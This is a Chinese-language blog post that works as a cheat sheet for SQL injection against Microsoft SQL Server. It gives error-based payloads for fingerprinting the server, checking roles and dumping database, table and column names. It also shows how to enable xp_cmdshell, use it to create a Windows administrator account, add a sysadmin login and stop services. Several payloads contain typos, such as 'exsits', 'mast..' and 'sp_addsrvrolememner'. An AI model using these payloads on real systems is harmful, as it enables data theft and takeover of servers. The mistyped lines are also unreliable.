Sql注入之Mssql

Sql注入之Mssql

数据库介绍

Mssql数据库是由微软公司开发的,中小型数据库,经常搭配asp使用。

数据库权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system
  • db权限:文件管理,数据库操作等users-administrators
  • public权限:数据库操作guest-users

判断数据库

and exsits (select * from sysobjects)>0

权限判断

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_SRVROLEMEMBER('db_owner'));--

版本判断

and 1=(select @@version)

原理解释:@@version查询到的为字符类型但是让它“=1”(转化为整数类型),就会报错输出@@version的信息。

拓展:

and 1=(select db_name())	#查询数据库名称

获取用户数据库名

系统一共自带4个数据库,用来记录数据库的一些信息。

这四个数据库分别用dbid=1,2,3,4来标记

  • 方法一
and 1=(select top 1 name from master..sysdatabases where dbid>4)

爆出一个库名假如为db,则运用如下语句可以继续爆库名

and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'db')

依次运用就可以爆出全部用户数据库名

  • 方法二

运用如下语句爆出第二个数据库名

and 1=(select top 1 name from master..sysdatabases where dbid>5)

爆出第三个数据库名

and 1=(select top 1 name from master..sysdatabases where dbid>6)

依次运用即可爆出全部库名

  • 方法三

运用如下命令可以爆出全部数据库名

and 1=(select name from mast..sysdatabases for xml path)

获取数据库表名

  • 方法一

xtype='U'表示查询的为表

and 1=(select top 1 name from sysobjects where xtype='U' )

假如爆出来的第一个表名为tables,运用如下语句爆出第二个表名

and 1=(select top 1 name from sysobjects where xtype='U'  and name<>tables)

依次运用爆出全部表名

  • 方法二

运用如下命令爆出全部表名

and 1=(select name from sysobjects for xml path)

获取列名

获取user表的列名

and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user')and name<>id)

依次获取全部列名

SA扩展存储攻击

判断命令扩展是否存在
  • 判断是否可以使用xp_cmdshell

xtype=‘x’查询 扩展存储过程

and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')

开启扩展

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
  • 判断xp_regread
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

开启

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_regread',1;RECONFIGURE;
xp_cmdshell扩展应用

创建用户

exec master..xp_cmdshell'net user admin admin /add'

将用户加入管理员组

exec master..xp_cmdshell'net localgroup administrators admin /add'
其他
  • 添加一个SA权限的用户test:
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolememner test,sysadmin
  • 激活或停止某个服务
exec master..xp_servicecontrol 'stop',服务
exec master..xp_servicecontrol 'start',服务
posted @ 2020-02-17 12:24  she11s  阅读(277)  评论(0编辑  收藏  举报